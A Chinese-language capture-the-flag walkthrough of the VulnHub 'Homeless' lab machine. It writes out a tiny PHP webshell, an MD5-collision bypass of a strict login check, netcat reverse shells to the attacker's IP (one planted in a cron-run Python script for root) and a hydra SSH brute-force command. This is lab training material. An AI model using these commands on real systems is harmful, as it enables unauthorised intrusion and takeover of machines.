滲透測試之Homeless靶機實戰
前言
本次靶機難度中等,還是長了很多見識,值得學習
環境準備
下載Homeless靶機:https://download.vulnhub.com/homeless/Homeless.zip
這裡我用 virtual box 開啟
主機:kali linux 192.168.100.8
靶機 : Homeless靶機
輔助:windows 192.168.100.9
目標:拿下靶機root許可權和裡面的flag
資訊收集
1.確定靶機ip (我是將靶機的網路模式改成nat模式,共享主機的ip,讓靶機和主機在同一網段下)
掃描同網段下其餘存活主機:
netdiscover -r 192.168.100.0/24
這裡192.168.100.11就是目標靶機
然後用nmap對靶機的進行埠掃描
nmap -p 1-65535 192.168.100.11
只開了22 和80埠
我們先從web下手
構造User-Agent
整個頁面都是雞湯,原始碼裡面有提示資訊
掃描目錄,有個robots.txt也有點提示資訊
在頁面上出現了agaent頭部資訊
那麼我們試著抓包改包看看
可以看到成功將我們上傳的User-Agent列印了出來
但是好像沒什麼其他返回,猜測是驗證了我們上傳的User-Agent,如果不是它想要的,就直接打印出來
所以我們需要找到一個它需要的User-Agent上傳
講真的這個靶機真的要膽大心細。
看下這個提示,仔細檢查。
在網頁原始碼這個位置有一個圖片,但是在頁面上也沒有顯示出來,這個應該也是個線索
我們需要在agaent欄位填上這個圖片的欄位 “Cyberdog Sledding Portal”(感覺真的挺坑的,而且圖片也很小,看不清)
然後我們訪問下http://192.168.100.11/myuploader_priv/
發現是一個上傳點那麼我們嘗試上傳webshell
發現對檔案大小有限制
經過一番測試,發現以下資訊:
可以上傳任意字尾檔案
檔案大小必須小於8bytes
新上傳的檔案會覆蓋之前上傳的檔案
我們必須構造一個足夠小的php檔案
構造如下程式碼寫入jlzj.php
<?=`ls`; #這句程式碼在php裡等同於<?php echo `ls`;?> ,是這段程式碼的縮寫
剛好8位元組
發現上傳成功,並且路徑也暴露出來為/files/shell.php
然後我們訪問下http://192.168.100.11/myuploader_priv/files/shell.php
可以看到有一個可疑txt檔案,訪問看看
發現一行密文,各種解密解不出來,我真傻,都提示我是ip/d5fa314e8577e3a7b8534a014b4dcb221de823ad
一個登陸頁面,毫無操作空間,突然看到右上角need Hint,點選就會下載這個頁面的原始碼
是登入頁面的後臺程式碼,看來需要思考思考如何繞過
重點在於這裡
要求我們POST的username,password,code值不能相同,但是md5必須型別和值都相等才能重定向到admin.php
說到這裡,大家可能想到ctf裡常用的md5 compare漏洞,但是注意,這裡是全等(===),相信大家都知道==
與===
的區別,全等於會檢查型別和值。
所以會比較md5(username),md5(password),md5(code)型別和值,雙等於存在漏洞的原因其實是,0E開頭的MD5值php解析器會解析為numerical strings,在雙等於(==)情況下,會先判斷型別,識別為numerical strings,會強制轉換為數字,所以0e開頭的MD5值都為0,所以才能繞過,然而三等於就比較有脾氣了,必須一對一的核對兩個字串,不存在什麼型別轉換問題,所以開頭0e相同,後面不同,也就不滿足了
那這時大家肯定會說:那就用陣列繞過,反正大家都解析為NULL,然而並不行
返回Your input can not be the same
說明三個值相等了,因為三個值都進行了string強制型別轉換
那就沒辦法繞過了嗎?當然有
這裡使用一個md5快速碰撞工具fastcoll(下載連結附在文末),以及windows檔案hash檢視命令certutil -hashfile
這裡我先簡單演示下fastcoll用法
我們先使用fastcoll將一個notepad++.exe檔案生成為另外兩個不同的notepad++1.exe,notepad++2.exe
然後E盤下面就會多出notepad++1.exe 和notepad++2.exe兩個資料夾
然後我們用certutil命令看下他們的md5值
但是本次實驗,靶機需要的3個MD5相同的檔案
而fastcoll工具只能一次性生成兩個檔案,只有這兩個檔案的MD5值相同,所以這裡我們需要藉助一個工具tail.exe(下載地址見文末)
我們先用fastcoll 隨機生成2個md5值相同的檔案
fastcoll_v1.0.0.5.exe -o jlzj0 jlzj1 #-o引數代表隨機生成兩個相同MD5的檔案
然後我們在通過jlzj1再生成2個MD5相同的值
D:\fastcoll>fastcoll_v1.0.0.5.exe -p jlzj1 -o jlzj1to1 jlzj1to2 #-p引數代表根據jlzj1檔案隨機生成兩個相同MD5的檔案,注意:生成兩個檔案的MD5與jlzj1不同
我們對比下jlzj1to1 和jlzj1to2的MD5值
然後我們對比下 jlzj1to1 和jlzj1 MD5值
我們發現值是不一樣的,我們用notepad++開啟這2個檔案看看到底區別在哪
這個是jlzj1to1的檔案
這個是jlzj1的檔案
但是我們這裡能看到jlzj1to1 和jlzj1有個公共的部分
然後我們再jlzj1to1中選擇處它比jlzj1多的部分看下它的大小
那麼就說明jlzj1to1多了後面的128(256/2)位的內容。
那麼接下來我們就要把 這多餘的部分提取出來 跟jlzj1結合成新的檔案 那麼結合出來的檔案MD5值就跟jlzj1to1的MD5值一樣了
C:\Users\Administrator\Desktop\md5>tail.exe -c 128 jlzj1to1 > a #-c 128代表將jlzj00的最後128位寫入檔案a,這128位正是jlzj1to1與jlzj1的MD5不同的原因
然後我們結合下,生成新的檔案
type jlzj1 a > jlzj1to3
type jlzj1 a > jlzj1to4
然後我們再檢視下他們的MD5值
我們再看看jlzj1to1和jlzj1to2的MD5
這樣我們就有4個MD5相同的檔案了
我們用windows下的curl.exe(類似於kali curl命令,下載連結附文末)進行POST測試
curl.exe --data-urlencode [email protected]:\Users\Administrator\Desktop\md5\jlzj1to1 --data-urlencode [email protected]:\Users\Administrator\Desktop\md5\jlzj1to2 --data-urlencode [email protected]:\Users\Administrator\Desktop\md5\jlzj1to3 --data-urlencode "remember=1&login=Login" http://192.168.100.11/d5fa314e8577e3a7b8534a014b4dcb221de823ad/index.php -i
成功跳轉並拿到一個session =ipm65uvfi8v4kkuo3mk4ivtad6
我們用Cookies儲存下
然後訪問http://192.168.100.11/d5fa314e8577e3a7b8534a014b4dcb221de823ad/admin.php
是一個命令輸入框,明擺著命令執行拿shell
看來後臺未對輸入做任何限制
bash反彈shell
在kali中輸入命令:
nc -lvp 4444
在程式碼執行介面輸入:
nc -e /bin/bash 192.168.100.8 4444
提權
第一想法是核心提權,但是靶機無法使用wget以及gcc,這樣就不能使用溢位漏洞提權了,再試試別的方法
我們先切換到home目錄
再切到downfall
cd downfall
通過ls -la檢視目錄下的檔案
在/home目錄下看到一個隱藏檔案.secret_message
用cat命令查詢發現沒有響應,應該是沒有許可權,說不定downfall才能檢視
我們再用find看看還有沒有其他位置還有沒有檔案
find / -user downfall 2>/dev/null -ls
再試試另一條
find -type f -user root -group downfall 2>/dev/null
發現一個可疑的py指令碼
獲取下它的詳細資訊
看來需要爆破downfall的密碼才行
這是還記得robots.txt裡面提示的rockyou字典,我們hydra爆破該使用者ssh登入試試
但是rockyou的字典很大有100M,要跑字典的話需要花費很長很長的時間
可以分別文字或者多執行緒python指令碼去跑
但是作者在vulnhub留下了提示:
密碼是sec開頭的,這就好辦了,我們把rockyou.txt裡sec開頭的密碼提取出來
grep '^sec.*$' /usr/share/wordlists/rockyou.txt > pass.txt
然後開始爆破
hydra -l downfall -P pass.txt -t 4 192.168.100.11 ssh
爆破成功,密碼為secretlyinlove
登陸ssh
先看下.secret_message的內容
果然我們後來找到的檔案也是個線索
然後還有一份email 在/var/mail/downfall(可能你看的時候沒有這個資訊,那麼你等下一分鐘在cat下)
cat /var/mail/downfall 會發現內容很長
仔細看下
會發現 每隔一分鐘就會生成一次,這樣就講得通啦
那個homeless.py被設定為計劃任務,每分鐘執行一次,那麼我們可以通過修改那個py檔案提升許可權
我們對 /lib/logs/homeless.py進行修改
vim /lib/logs/homeless.py
新增以下內容
os.system('/bin/nc -e /bin/bash 192.168.100.8 5555')
還有要在開頭加一句 #!/usr/bin/env python 要不然很可能會報錯!!!
這樣每分鐘都會反彈給我們一個shell
在kali上開啟nc監聽,等待系統自動執行指令碼,拿到root許可權
nc -lvnp 5555
然後我們cd切換到root目錄並且cat flag.txt檔案內容
參考連結
fastcoll下載連結:http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip
tail.exe下載連結:https://www.trisunsoft.com/tail-for-windows.htm
curl.exe下載連結:https://curl.haxx.se/windows/